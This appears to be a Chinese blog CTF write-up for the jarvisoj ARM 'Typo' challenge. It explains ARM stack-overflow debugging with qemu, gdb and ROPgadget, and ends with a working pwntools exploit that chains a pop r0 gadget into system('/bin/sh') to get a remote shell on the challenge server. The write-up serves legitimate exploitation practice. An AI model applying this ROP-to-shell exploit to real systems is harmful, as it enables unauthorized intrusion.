Typo

Simple typo program for arm.

nc pwn2.jarvisoj.com 9888

 



typo.46cd4ea4c775898dcf94f620940d4281

 

32位arm架构栈溢出,checksec发现无pie和canary

运行程序可以用qemu-arm ./typo

调试可以qemu-arm -g 1234 -L /usr/arm-linux-guneabi ./typo

之后另开窗口 gdb-multiarch,

然后set architecture arm

target remote localhost:1234便可以调试了

可以手动输入判断溢出点

判断栈溢出长度可以用cyclic 200(指定长度)

然后根据报错情况cyclic -l 0x62616164(例)

arm传参是r0,r1,r2,r3,之后从右向左压栈,返回值r0,被调用者实现堆栈平衡,pc是下一条指令地址,b/bl语句表示跳转

找/bin/sh可以在ida里搜索,也可以ROPgadget --binary ./typo --string "/bin/sh"

寻找gadget可以ROPgadget --binary ./typo --only "pop"

对于被扬符号表的可以用rizzo对相应架构的libc进行签名(File->Produce file->Rizzo signature file),然后在typo里读取签名(File->Load file->Rizzo signature file),能恢复一部分

也可以搜索/bin/sh然后按x进行交叉搜索,能找到system

 

exp如下:

from pwn import *

#io = process(['qemu-arm', './typo'])
io = remote('pwn2.jarvisoj.com', 9888)
pop_r0_r4_pc = 0x20904
system_addr = 0x110B4
binsh_addr = 0x6C384

payload = b'a' * 112 + p32(pop_r0_r4_pc) + p32(binsh_addr) + p32(0) + p32(system_addr)
io.recvuntil('Input ~ if you want to quit\n')
io.send('\n')
io.recvuntil('\n')
io.send(payload)

io.interactive()

 

posted @ 2021-07-18 15:36  hktk1643  阅读(181)  评论(0编辑  收藏  举报